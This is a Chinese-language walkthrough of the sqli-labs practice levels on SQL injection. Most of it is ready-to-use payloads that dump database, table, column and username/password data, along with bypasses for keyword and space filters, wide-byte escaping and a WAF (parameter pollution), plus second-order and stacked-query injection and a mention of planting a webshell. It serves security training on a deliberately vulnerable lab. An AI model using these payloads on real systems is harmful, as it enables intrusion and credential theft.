基于’)的cookie报头注入
这里在cookie处加密了字符串,将我们的payload经过base64加密即可绕过
暴库payload:-admin') union select 1,2,database()#
爆表payload:-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段payload:-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆值payload:-admin') union select 1,2,group_concat(username,'-',password) from security.users#
基于”的cookie报头注入
暴库payload:-admin" union select 1,2,database()#
爆表payload:-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段payload:-admin" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
爆值payload:-admin" union select 1,2,group_concat(username,'-',password) from security.users#
基于’的字符型注入(过滤注释符)
暴库payload:id=-1' union select 1,2,database()'
爆表payload:id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '
爆字段payload:id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' '
爆值payload:id=' union select 1,2,group_concat(username,'~',password) from users where 1 or '1' = '
二次注入
假设我们在知道账号为admin,但不知道密码的情况下,点击注册一个新用户
注册一个账号为admin’#密码为123456的账号
登录账号admin’#,并修改admin的密码为123456
然后就可以用账号admin,密码123456登录了。
原理:
登录admin'#账号修改密码时, 此时的Sql语句为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=',也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'。
基于’的字符型注入(过滤or和and)
注意:因为or字符被过滤了,所以infoorrmation、passwoorrd的or应该双写绕过。
暴库payload:id=-1' union select 1,2,database()--+
爆表payload:id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆字段payload:id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆值payload:id=-1' union select 1,2,group_concat(username,'~',passwoorrd) from security.users --+
整数型注入(过滤or和and)
这关和上一关基本一样,不同之处在于这关是整数型注入
暴库payload:id=-1 union select 1,2,database()--+
爆表payload:id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆字段payload:id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆值payload:id=-1 union select 1,2,group_concat(username,'~',passwoorrd) from security.users --+
基于’的字符型注入(过滤空格、注释、or和and)
因为空格被过滤了,可以用%a0代替空格;注释符被过滤了,可以构造闭合绕过。
暴库payload:id=0'%a0union%a0select%a01,database(),'3
爆表payload:id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0'
爆字段payload:id=0'%a0union%a0select%a01,2,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0'
爆值payload:id=0'%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0'1' = '
基于’)的字符型注入(过滤空格、注释、or和and)
因为空格被过滤了,可以用%a0或者%0b代替空格;注释符被过滤了,可以构造闭合绕过。
暴库payload:id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
爆表payload:id=0')%0bunion%0bselect%0b1,2,group_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'anandd('1')=('1
爆字段payload:id=0')%0bunion%0bselect%0b1,2,group_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'anandd('1')=('1
爆值payload:id=0')%a0union%a0select%a01,2,group_concat(username,passwoorrd)%a0from%a0security.users%a0where%a01%a0oorr%a0('1') =( '
可以代替空格的字符:
%09 | TAB键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
基于’的字符型注入(过滤空格、注释符、union和select)
大小写绕过关键字的过滤
暴库payload:id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆字段payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0'1'='1
爆值payload:id=0'%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,'3
基于”的字符型注入(过滤空格、注释符、union和select)
大小写绕过关键字的过滤
暴库payload:id=0"%a0uniOn%a0sElEct%a01,database(),3%a0or%a0"1"="1
爆表payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"="1
爆字段payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0"1"="1
爆值payload:id=0"%a0uniOn%a0sElEct%a01,(group_concat(username,password)),3%a0from%a0security.users%a0uniOn%a0seLect%a01,2,"3
基于’)的字符型注入(过滤空格、注释符、union和select)
暴库payload:id=0')UNion%a0SElect%a01,database(),('1')=('1
爆表payload:id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1
爆字段payload:id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1
爆值payload:id=0')UNion%a0SElect%a01,(group_concat(username,password)),3%a0from%a0security.users%a0where%a0('1')=('1
和less28一样,用相同的payload即可注入
因为less29-less32是绕waf,所以这里得先搭建好waf环境,我这里直接在Windows下面搭建了。
下载jspstudy: https://www.xp.cn/download.html
安装路径不要包含中文就行了。
为了不与之前安装好的phpstudy端口冲突,这里须更改站点端口为8080.
将sqli-labs-master中的tomcat-files压缩包解压到下面路径中。
打开下面路径中的index.jsp文件
将下面路径修改为php服务下的相对应关卡路径。
带上2个参数即可访问即可
服务器两层架构相关讲解:https://www.cnblogs.com/lcamry/p/5762961.html
基于’的字符型注入(waf保护)
这里的参数由于受waf保护,无法注入
利用参数污染注入,传入2个参数,第一个用来欺骗waf,第二个用于正常访问。
暴库payload:?id=1&id=-1' union select 1,2,database()--+
爆表payload:?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload:?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload:?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+
基于”的字符型注入(waf保护)
暴库payload:?id=1&id=-1" union select 1,2,database()--+
爆表payload:?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload:?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload:?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+
基于”)的字符型注入(waf保护)
暴库payload:?id=1&id=-1") union select 1,2,database()--+
爆表payload:?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段payload:?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值payload:?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+
宽字节注入
因为单引号被转义了,'security'、'users'这两个地方的单引号自然也会被转义,这里可以将security、users进行十六进制编码。
暴库payload:id=-1%df' union select 1,2,database()--+
爆表payload:id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
爆字段payload:id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
爆值payload:id=-1%df' union select 1,2,group_concat(username,password) from security.users--+
和less32一样,用相同的payload即可注入
宽字节Post注入
利用burpsuite抓包、在uname处插入payload
暴库payload:a%df' union select 1,database()#
爆表payload:a%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479#
爆字段payload:a%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
爆值payload:a%df' union select 1,group_concat(username,password) from security.users#
数字型注入
这里的单引号还是被转义了,'security'、'users'这两个地方还是要进行十六进制编码。
暴库payload:id=-1 union select 1,2,database()--+
爆表payload:id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
爆字段payload:id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
爆值payload:id=-1 union select 1,2,group_concat(username,password) from security.users--+
还是宽字节注入,用less32的payload即可注入
宽字节Post注入,注入方法以及payload和less32一样
堆叠注入
利用堆叠注入创建一个表
Payload:?id=1';create table duidie like users;--+
创建成功,说明能利用堆叠注入。此外可以利用堆叠注入写入一句话木马,然后用菜刀连接。
堆叠注入讲解:https://www.cnblogs.com/lcamry/p/5762905.html
数字型堆叠注入,和less38的区别就是少个单引号。
Payload:?id=1;create table duidie1 like users;--+
基于’)的字符型堆叠注入,和less38的区别就是少个单引号。
Payload:?id=1'); create table duidie2 like users;--+
和less39一样,只是少了错误回显信息,执行payload还是一样的。
还是堆叠注入,在密码输入框中注入。
Payload:a';create table duidie like users;#
基于’)的字符型堆叠注入,和less42的区别就是多了个括号。
Payload:a'); create table duidie like users;#
和less42一样,只是少了回显信息,执行payload还是一样的。
和less43一样,只是少了回显信息,执行payload还是一样的。
Less21-22 cookie报头注入
Less24 二次注入
Less23、25-28a 关键字符被过滤,结合大小写绕过、双写绕过、字符替换、构造闭合、编码等方式注入。
Less29-31 waf保护,参数污染注入
Less32-37 宽字节注入
Less38-45 堆叠注入
https://blog.csdn.net/weixin_45728976/article/details/103932264
https://blog.csdn.net/harrywade/article/details/81842491